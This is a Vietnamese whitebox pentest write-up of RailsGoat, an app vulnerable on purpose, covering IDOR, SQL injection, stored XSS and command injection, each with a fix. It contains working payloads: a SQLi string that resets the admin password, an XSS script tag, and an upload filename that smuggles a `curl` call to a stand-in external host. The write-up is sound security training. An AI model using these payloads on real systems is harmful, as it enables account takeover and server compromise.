---
# System prepended metadata

title: Pentest Whitebox RailsGoat

---

# Pentest Whitebox RailsGoat

## About Project
RailsGoat là một ứng dụng web mã nguồn mở, cố ý có các lỗ hổng bảo mật, được xây dựng trên nền tảng Ruby on Rails. Ứng dụng này được tạo ra để giúp các nhà phát triển, chuyên gia bảo mật và sinh viên học hỏi về các lỗ hổng bảo mật thường gặp trong các ứng dụng web, đặc biệt là những ứng dụng viết bằng Ruby on Rails. 
Vì vậy chúng ta sẽ tự deploy ứng dụng và sẽ kiểm tra lỗ hổng bằng hình thức whitebox.
> Whitebox testing (hay còn gọi là kiểm thử hộp trắng) là một phương pháp kiểm thử phần mềm, trong đó người kiểm thử có kiến thức đầy đủ về cấu trúc bên trong, mã nguồn và logic hoạt động của hệ thống. Mục tiêu của whitebox testing là kiểm tra cách thức hoạt động nội bộ của ứng dụng và đảm bảo rằng các dòng mã, câu lệnh, nhánh điều kiện, và các luồng dữ liệu hoạt động chính xác.

## Application Deployment
Để triển khai trang web RailsGoat, chúng ta sử dụng Docker trên hệ điều hành Windows. Đầu tiên, chúng ta
sẽ cấu hình Docker để triển khai trang web trên máy chủ cục bộ, nhằm đảm bảo trang web hoạt động chính xác trong môi trường nội bộ. Sau đó, chúng ta sẽ sử dụng Visual Studio Code để phân tích code và xem log của ứng dụng từ đó sẽ biết được tồn tại lỗ hổng hay không.
![image](https://hackmd.io/_uploads/ryYlbxwpA.png)
![image](https://hackmd.io/_uploads/BJsTWxvTC.png)

Sau đó, chúng ta sẽ sử dụng Burp Suite Professional trên Windows để tiến hành kiểm tra lỗ hổng của ứng dụng web. 
![image](https://hackmd.io/_uploads/SklpVeP6C.png)
Ứng dụng sẽ như sau:
![image](https://hackmd.io/_uploads/BJUbHxwp0.png)
### Log
Lúc này log được thiết lập, chúng ta có thể nhìn vào log để xem các câu truy vấn.
![image](https://hackmd.io/_uploads/rJDcreDTR.png)

### MVC
![image](https://hackmd.io/_uploads/SyfRIlPpA.png)
Mô hình MVC (Model-View-Controller) là một kiến trúc phần mềm phổ biến được sử dụng trong nhiều framework phát triển web, và đặc biệt được Ruby on Rails áp dụng một cách rõ ràng. MVC chia ứng dụng thành ba thành phần chính: Model (Mô hình), View (Giao diện), và Controller (Điều khiển), giúp tách biệt các phần của ứng dụng và tổ chức mã nguồn dễ quản lý hơn.

1. Model (Mô hình):
Chức năng: Model đại diện cho dữ liệu và các quy tắc nghiệp vụ của ứng dụng. Nó quản lý cách dữ liệu được lưu trữ, xử lý và tương tác với cơ sở dữ liệu.
Vai trò trong Rails: Các Model trong Rails thường là các lớp ActiveRecord, giúp tương tác với cơ sở dữ liệu bằng cách ánh xạ từng bảng trong cơ sở dữ liệu thành một class trong Ruby.
Ví dụ: Một Model có thể là User, quản lý các thuộc tính như name, email, và các phương thức xử lý logic liên quan đến người dùng.
2. View (Giao diện):
Chức năng: View chịu trách nhiệm hiển thị dữ liệu cho người dùng và xử lý giao diện người dùng. Nó lấy dữ liệu từ Model (thông qua Controller) và định dạng nó theo cách người dùng có thể xem được.
Vai trò trong Rails: View trong Rails thường là các file HTML có nhúng mã Ruby (ERB - Embedded Ruby). Các file này tạo ra giao diện trang web mà người dùng nhìn thấy khi truy cập ứng dụng.
Ví dụ: Một View có thể là file index.html.erb để hiển thị danh sách người dùng hoặc show.html.erb để hiển thị chi tiết thông tin của một người dùng cụ thể.
3. Controller (Điều khiển):
Chức năng: Controller hoạt động như một trung gian giữa Model và View. Nó nhận yêu cầu từ người dùng, tương tác với Model để lấy dữ liệu cần thiết, và chuyển dữ liệu đó sang View để hiển thị.
Vai trò trong Rails: Các Controller trong Rails chứa các hành động (methods) tương ứng với các yêu cầu khác nhau từ phía người dùng, như hiển thị một danh sách, tạo mới, cập nhật, hoặc xóa một bản ghi.
Ví dụ: Một Controller có thể là UsersController với các hành động như index, show, new, create, edit, update, và destroy để xử lý các yêu cầu liên quan đến người dùng.
Quy trình hoạt động của MVC trong Rails:
Người dùng gửi yêu cầu (Request): Người dùng tương tác với ứng dụng web bằng cách gửi yêu cầu HTTP thông qua trình duyệt.

Controller xử lý yêu cầu: Yêu cầu được định tuyến đến một Controller tương ứng, Controller sẽ gọi các phương thức để xử lý yêu cầu.

Model cung cấp dữ liệu: Controller sẽ tương tác với Model để lấy dữ liệu từ cơ sở dữ liệu nếu cần.

View hiển thị dữ liệu: Dữ liệu sau đó được chuyển tới View, View sẽ định dạng và trả lại kết quả cho người dùng dưới dạng HTML.

Người dùng nhận phản hồi (Response): Kết quả hiển thị trên trình duyệt, và người dùng thấy được trang web đã xử lý yêu cầu của họ.


## Insecure direct object references (IDOR)
### IDOR1
Phân tích file `app/controllers/work_info_controller.rb`:
```ruby
class WorkInfoController < ApplicationController
  def index
    @user = User.find_by(id: params[:user_id])
    if !(@user) || @user.admin
      flash[:error] = "Sorry, no user with that user id exists"
      redirect_to home_dashboard_index_path
    end
  end
end
```
Dòng `@user = User.find_by(id: params[:user_id])`:
Ở dòng này, chương trình tìm kiếm người dùng (`User`) dựa trên user_id được truyền qua tham số (`params[:user_id]`).
`params` là một hash chứa các thông số của yêu cầu HTTP (như GET hoặc POST).
Kết quả tìm kiếm sẽ được gán vào biến instance `@user`. Biến này có thể được sử dụng trong view sau khi phương thức index thực thi.
Lỗ hổng xảy ra ở endpoint `/users/<:id>/work_info.`: Khi ID người dùng được lấy trực tiếp từ các tham số yêu cầu, lúc này id người dùng sẽ được tìm trực tiếp trong cơ sở dữ liệu chứ không phải lấy từ tham số người dùng hiện tại.
Bây giờ chúng ta hãy xem các bước tái tại lỗ hổng này.
1. Đăng nhập người dùng hiện tại và vào chức năng work info.
![image](https://hackmd.io/_uploads/SJwLbIw60.png)
2. Chú ý xem lúc này ở endpoint `work_info` đang để người dùng là `8`, bây giờ chúng ta thay đổi nó thành một số bất kỳ. Ví dụ số 2:
![image](https://hackmd.io/_uploads/S1Gp-Lv6R.png)
3. Lúc này xem thông tin người dùng số 2 đã hiển thị, chứng tỏ khai thác thành công.

### Solution
Để giải quyết lỗ hổng này chúng ta sẽ có hai cách:
1. Gán trực tiếp  `id` người dùng là người dùng hiện tại như sau:
```ruby=
class WorkInfoController < ApplicationController
  def index
    @user = current_user
    if !(@user) || @user.admin
      flash[:error] = "Sorry, no user with that user id exists"
      redirect_to home_dashboard_index_path
    end
  end
end
```
2. Chúng ta sẽ thêm một dòng authentication để chắc rằng người dùng đã đăng nhập và ở phía điều kiện sẽ thêm `@user != current_user` thì sẽ trả về dòng không được phép truy cập tài nguyên như đoạn code dưới đây.
```ruby=
class WorkInfoController < ApplicationController
  before_action :authenticate_user! # Ensure user is logged in

  def index
    @user = User.find_by(id: params[:user_id])
    
    if @user.nil? || @user.admin? || @user != current_user
      flash[:error] = "You are not authorized to access this resource."
      redirect_to home_dashboard_index_path
    end
  end
end

```
### IDOR2
Chúng ta sẽ phân tích file `app/controllers/users_controller.rb`
```ruby=
# frozen_string_literal: true
class UsersController < ApplicationController
  skip_before_action :has_info
  skip_before_action :authenticated, only: [:new, :create]

  def new
    @user = User.new
  end

  def create
    user = User.new(user_params)
    if user.save
      session[:user_id] = user.id
      redirect_to home_dashboard_index_path
    else
      @user = user
      flash[:error] = user.errors.full_messages.to_sentence
      redirect_to :signup
    end
  end

  def account_settings
    @user = current_user
  end

  def update
    message = false

    user = User.where("id = '#{params[:user][:id]}'")[0]

    if user
      user.update(user_params_without_password)
      if params[:user][:password].present? && (params[:user][:password] == params[:user][:password_confirmation])
        user.password = params[:user][:password]
      end
      message = true if user.save!
      respond_to do |format|
        format.html { redirect_to user_account_settings_path(user_id: current_user.id) }
        format.json { render json: {msg: message ? "success" : "false "} }
      end
    else
      flash[:error] = "Could not update user!"
      redirect_to user_account_settings_path(user_id: current_user.id)
    end
  end

  private

  def user_params
    params.require(:user).permit!
  end

  # unpermitted attributes are ignored in production
  def user_params_without_password
    params.require(:user).permit(:email, :admin, :first_name, :last_name)
  end
end

```
File `users_controller.rb` có chức năng tạo người dùng mới, chỉnh sửa thông tin người dùng và quản lý tài khoản người dùng.
Lỗ hổng IDOR ở đây xảy ra ở chức năng update người dùng, dòng 29:
```ruby=
user = User.where("id = '#{params[:user][:id]}'")[0]
```
Lỗ hổng xảy ra khi mà tham số `id` người dùng truy vấn trực tiếp từ cơ sở dữ liệu chứ không phải được gán mặc định là người dùng hiện tại.
Lỗ hổng này cho phép kẻ tấn công có thể reset được thông tin của những người dùng khác bằng cách thay đổi tham số `id` từ tham số `user[id]=:id` và enpoint `users/:id.json`.
![image](https://hackmd.io/_uploads/HJEwZOYaR.png)

```http!
POST /users/8.json HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:130.0) Gecko/20100101 Firefox/130.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://localhost:3000/users/8/account_settings
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 346
Origin: http://localhost:3000
Connection: close
Cookie: pyramid=eyJ0eXAiOiJKV1QiLCJhbGciOiJFZERTQSJ9.eyJST0xFIjoiY29tbW9uZXIiLCJDVVJSRU5UX0RBVEUiOiIwN18wOV8yMDI0X0FEIiwiZXhwIjo5NjMzMzc0NDM3M30.SkB3rvtdn44CVF3ZA4wElBx6pNKkhgUuai0BXXa8_UY16Q42-bKP91k9osZvjEli734Pj8a9ooIab4ULWU0nAQ; _railsgoat_session=eUQ0SlBtRzNRNjR6bVRzQjlpaktDYVZiV0o0N2E5UlVpeGJkeVpLNjRlWlMxMnp1a0NNUUtaVUJOdVdaVSs4TXhNL3VGTnJkZ0VFYzNuNFdlR0U1TXVYOGd0TGJyczZoSUNIdTQwbmpRQjg0QktuTEFYK0hleStjam5CWmdCM2NiY0t4dEQ5Y1M5NzZyU1JBS0Rjcm9BZkE3OXFNWlRWRkxOU3RNa1dEcncwSUlrdzdTTjlyVDZic29NZVhjd1M4R0FyOUNvaVloRStvdlloSlFWZEtxQT09LS1yYSttMEh5cHprUlRCUVlkQWVITzlRPT0%3D--11f735db7ba54a2e7725cd8426f241cfd672ec88
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
X-Forwarded-For: 8.8.8.8
Priority: u=0
utf8=✓&_method=patch&authenticity_token=RI1d6oob2lyzGNOAtmzzL9zbk3A4cwuXqjgPDkcpImGjxD1nU/deolNfp1J2igwKHwFtfcAlptJ/Yl4Ezd/2iQ==&user[id]=8&user[email]=shang@gmail.com&user[first_name]=<h1>shang<h1>&user[last_name]=lyu&user[password]=shine1001&user[password_confirmation]=shine1001
```
Lúc này chỉ cần thay đổi đổi tham số `user[id]=1`, `users/1.json`.
![image](https://hackmd.io/_uploads/rJXIG_Fa0.png)
Bây giờ chúng ta sẽ đăng nhập với người dùng có `id=1` là admin với pass là `shine1001`.
![image](https://hackmd.io/_uploads/HJRozutaA.png)
### Solution
Chúng ta sẽ sửa lại dòng 29 thành:
```ruby!
user = current_user
```

## SQL Injection
Chúng ta sẽ phân tích file `app/controllers/users_controller.rb`
```ruby=
# frozen_string_literal: true
class UsersController < ApplicationController
  skip_before_action :has_info
  skip_before_action :authenticated, only: [:new, :create]

  def new
    @user = User.new
  end

  def create
    user = User.new(user_params)
    if user.save
      session[:user_id] = user.id
      redirect_to home_dashboard_index_path
    else
      @user = user
      flash[:error] = user.errors.full_messages.to_sentence
      redirect_to :signup
    end
  end

  def account_settings
    @user = current_user
  end

  def update
    message = false

    user = User.where("id = '#{params[:user][:id]}'")[0]

    if user
      user.update(user_params_without_password)
      if params[:user][:password].present? && (params[:user][:password] == params[:user][:password_confirmation])
        user.password = params[:user][:password]
      end
      message = true if user.save!
      respond_to do |format|
        format.html { redirect_to user_account_settings_path(user_id: current_user.id) }
        format.json { render json: {msg: message ? "success" : "false "} }
      end
    else
      flash[:error] = "Could not update user!"
      redirect_to user_account_settings_path(user_id: current_user.id)
    end
  end

  private

  def user_params
    params.require(:user).permit!
  end

  # unpermitted attributes are ignored in production
  def user_params_without_password
    params.require(:user).permit(:email, :admin, :first_name, :last_name)
  end
end

```
File `users_controller.rb` có chức năng tạo người dùng mới, chỉnh sửa thông tin người dùng và quản lý tài khoản người dùng.
Lỗ hổng sql injection xảy ở dòng code 29:
```ruby=
user = User.where("id = '#{params[:user][:id]}'")[0]
```
- Phương thức where thực hiện một truy vấn để tìm tất cả các bản ghi trong bảng `users` mà có id trùng với giá trị `params[:user][:id]`.
- `"id = '#{params[:user][:id]}'"` là một câu truy vấn SQL trực tiếp, trong đó giá trị id được lấy từ tham số URL hoặc form (`params[:user][:id]`).
- Chúng ta cần break out khỏi câu truy vấn trên như sau: `')`
Ý tưởng khai thác ở đây là chúng ta sẽ update lại tài khoảng admin, hãy nhìn hình ảnh dưới:
![image](https://hackmd.io/_uploads/rJ7QJ9YpA.png)
Payload SQLi lúc này: `8') or admin = 1 --#`
Đoạn data post sẽ như sau:
```!
utf8=✓&_method=patch&authenticity_token=RI1d6oob2lyzGNOAtmzzL9zbk3A4cwuXqjgPDkcpImGjxD1nU/deolNfp1J2igwKHwFtfcAlptJ/Yl4Ezd/2iQ==&user[id]=8')+or+admin=1+--&user[password]=admin11&user[password_confirmation]=admin11
```
![image](https://hackmd.io/_uploads/Hk-NfqY60.png)
Bây giờ chúng ta sẽ đăng nhập admin với `pass:admin11`
![image](https://hackmd.io/_uploads/Sko6MqFTC.png)
### Solution
#### Sử Dụng ActiveRecord Query Methods:

Thay vì xây dựng câu lệnh SQL trực tiếp, hãy sử dụng các phương thức của ActiveRecord, như find_by, để tránh việc tiêm mã SQL. Các phương thức này đã được thiết kế để bảo vệ khỏi các cuộc tấn công SQL Injection.

Cập nhật Code:

```ruby
def update
  message = false

  # Sử dụng find_by để tìm kiếm người dùng
  user = User.find_by(id: params[:user][:id])

  if user
    user.update(user_params_without_password)
    if params[:user][:password].present? && (params[:user][:password] == params[:user][:password_confirmation])
      user.password = params[:user][:password]
    end
    message = true if user.save!
    respond_to do |format|
      format.html { redirect_to user_account_settings_path(user_id: current_user.id) }
      format.json { render json: {msg: message ? "success" : "false "} }
    end
  else
    flash[:error] = "Could not update user!"
    redirect_to user_account_settings_path(user_id: current_user.id)
  end
end
```
#### Kiểm Tra và Xác Thực Dữ Liệu Đầu Vào:
Đảm bảo rằng dữ liệu đầu vào được kiểm tra và xác thực trước khi sử dụng trong các truy vấn. Điều này bao gồm việc xác minh rằng ID người dùng là một số hợp lệ và thuộc về người dùng hiện tại.

Cập nhật Code với xác thực:
 ```ruby!
def update
  message = false

   Xác thực rằng ID là số và thuộc về người dùng hiện tại
  
  if params[:user][:id].to_i == current_user.id
    user = User.find_by(id: params[:user][:id])

    if user
      user.update(user_params_without_password)
      if params[:user][:password].present? && (params[:user][:password] == params[:user][:password_confirmation])
        user.password = params[:user][:password]
      end
      message = true if user.save!
      respond_to do |format|
        format.html { redirect_to user_account_settings_path(user_id: current_user.id) }
        format.json { render json: {msg: message ? "success" : "false "} }
      end
    else
      flash[:error] = "Could not update user!"
      redirect_to user_account_settings_path(user_id: current_user.id)
    end
  else
    flash[:error] = "Unauthorized access!"
    redirect_to home_dashboard_index_path
  end
end
```

## Cross Site Scripting (XSS)
### Store XSS
Phân tích file `app/views/layouts/shared/_header.html.erb` có đoạn code sau:
```html!
   <ul class="mini-nav">
       <li style="color: #FFFFFF">
          <!--
          I'm going to use HTML safe because we had some weird stuff
          going on with funny chars and jquery, plus it says safe so I'm guessing
          nothing bad will happen
          -->
          Welcome, <%= current_user.first_name.html_safe %>
       </li>
      </ul>
```

Lổng hổng XSS xảy ra khi sử dụng `html.safe`. , đặc biệt là khi hiển thị dữ liệu nhập vào từ người dùng như `current_user.first_name` không được lọc các ký tự độc hại.
> Sử dụng html_safe để render các thẻ html có trong văn bản đồng nghĩa với việc html_safe sẽ render tất cr thẻ html trong đoạn String đó.

Payload lúc này: `<script>alert(1)</script>`
![image](https://hackmd.io/_uploads/S1QZ83960.png)
![image](https://hackmd.io/_uploads/Bkt1UhcaC.png)

## Command Injection (RCE)
Phân tích chức năng upload file `app/controllers/benefit_forms_controller.rb`:
```ruby!
# frozen_string_literal: true
class BenefitFormsController < ApplicationController

  def index
    @benefits = Benefits.new
  end

  def download
   begin
     path = params[:name]
     file = params[:type].constantize.new(path)
     send_file file, disposition: "attachment"
   rescue
     redirect_to user_benefit_forms_path(user_id: current_user.id)
   end
  end

  def upload
    file = params[:benefits][:upload]
    if file
      flash[:success] = "File Successfully Uploaded!"
      Benefits.save(file, params[:benefits][:backup])
    else
      flash[:error] = "Something went wrong"
    end
    redirect_to user_benefit_forms_path(user_id: current_user.id)
  end

end
```
Chức năng upload file và lưu file vào `data`. Tiếp theo hãy xem models xử lý file sau khi controllers thực hiện upload:
File `app/models/benefits.rb`:
```rub!
# frozen_string_literal: true
class Benefits < ApplicationRecord

  def self.save(file, backup = false)
    data_path = Rails.root.join("public", "data")
    full_file_name = "#{data_path}/#{file.original_filename}"
    f = File.open(full_file_name, "wb+")
    f.write file.read
    f.close
    make_backup(file, data_path, full_file_name) if backup == "true"
  end

  def self.make_backup(file, data_path, full_file_name)
    if File.exist?(full_file_name)
      silence_streams(STDERR) { system("cp #{full_file_name} #{data_path}/bak#{Time.zone.now.to_i}_#{file.original_filename}") }
    end
  end

  def self.silence_streams(*streams)
    on_hold = streams.collect { |stream| stream.dup }
    streams.each do |stream|
      stream.reopen(RUBY_PLATFORM =~ /mswin/ ? "NUL:" : "/dev/null")
      stream.sync = true
    end
    yield
  ensure
    streams.each_with_index do |stream, i|
      stream.reopen(on_hold[i])
    end
  end
end
```

Chú ý chức năng backup:
```ruby=
def self.make_backup(file, data_path, full_file_name)
    if File.exist?(full_file_name)
      silence_streams(STDERR) { system("cp #{full_file_name} #{data_path}/bak#{Time.zone.now.to_i}_#{file.original_filename}") }
    end
  end
```
- Sao chép file từ full_file_name sang thư mục đích (data_path), với tên file đích được đặt thành "bak" + timestamp + tên gốc của file.
- Bất kỳ lỗi nào xảy ra khi thực hiện lệnh sao chép sẽ không được hiển thị ra màn hình vì đã bị tắt bởi silence_streams(STDERR).

Lổng hổng nghiêm trọng ở đây là `full_file_name` không được kiểm tra trước khi lưu. Điều này dẫn tới kẻ tấn công có thể chèn các câu lệnh nguy hiểm vào.
Payload: `filename= hoa.pdf; curl your_request_bin.com`.
![image](https://hackmd.io/_uploads/rkJ8H7jpR.png)

Khai thác thành công từ đây kẻ tấn công có thể cắm revershell vào server để khai thác sâu hơn
### Solution
Sử dụng thư viện FileUtils để sao chép file, đảm bảo quá trình sao chép an toàn hơn so với dùng lệnh hệ thống trực tiếp.
```ruby=
def self.make_backup(file, data_path, full_file_name)
  FileUtils.cp "#{full_file_name}", "#{data_path}/bak#{Time.zone.now.to_i}_#{file.original_filename}"
end
```

## Conclusion 
Tổng kết qua thì chúng ta đã phân tích được các lỗ hổng đáng chú ý. Thông qua việc phân tích các thông tin và source code của ứng dụng giúp chúng ta có cái nhìn tổng quan và tư duy nhạy hơn khi kiểm thử thâm nhập một ứng dụng.